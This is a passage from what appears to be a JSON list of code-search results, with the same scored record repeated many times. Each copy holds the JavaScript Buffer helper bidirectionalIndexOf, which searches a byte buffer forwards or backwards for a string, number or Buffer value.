"869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, byteOffset, encoding, dir)\n } else if (typeof val === 'number') {\n val = val & 0xFF // Search for a byte value [0-255]\n if (Buffer.TYPED_ARRAY_SUPPORT &&\n typeof Uint8Array.prototype.indexOf === 'function') {\n if (dir) {\n return Uint8Array.prototype.indexOf.call(buffer, val, byteOffset)\n } else {\n return Uint8Array.prototype.lastIndexOf.call(buffer, val, byteOffset)\n }\n }\n return arrayIndexOf(buffer, [ val ], byteOffset, encoding, dir)\n }\n\n throw new TypeError('val must be string, number or Buffer')\n}", "title": "" }, { "docid": "869285f261013f336470a6b0c1f0a5cb", "score": "0.82153237", "text": "function bidirectionalIndexOf (buffer, val, byteOffset, encoding, dir) {\n // Empty buffer means no match\n if (buffer.length === 0) return -1\n\n // Normalize byteOffset\n if (typeof byteOffset === 'string') {\n encoding = byteOffset\n byteOffset = 0\n } else if (byteOffset > 0x7fffffff) {\n byteOffset = 0x7fffffff\n } else if (byteOffset < -0x80000000) {\n byteOffset = -0x80000000\n }\n byteOffset = +byteOffset // Coerce to Number.\n if (isNaN(byteOffset)) {\n // byteOffset: it it's undefined, null, NaN, \"foo\", etc, search whole buffer\n byteOffset = dir ? 0 : (buffer.length - 1)\n }\n\n // Normalize byteOffset: negative offsets start from the end of the buffer\n if (byteOffset < 0) byteOffset = buffer.length + byteOffset\n if (byteOffset >= buffer.length) {\n if (dir) return -1\n else byteOffset = buffer.length - 1\n } else if (byteOffset < 0) {\n if (dir) byteOffset = 0\n else return -1\n }\n\n // Normalize val\n if (typeof val === 'string') {\n val = Buffer.from(val, encoding)\n }\n\n // Finally, search either indexOf (if dir is true) or lastIndexOf\n if (Buffer.isBuffer(val)) {\n // Special case: looking for empty string/buffer always fails\n if (val.length === 0) {\n return -1\n }\n return arrayIndexOf(buffer, val, 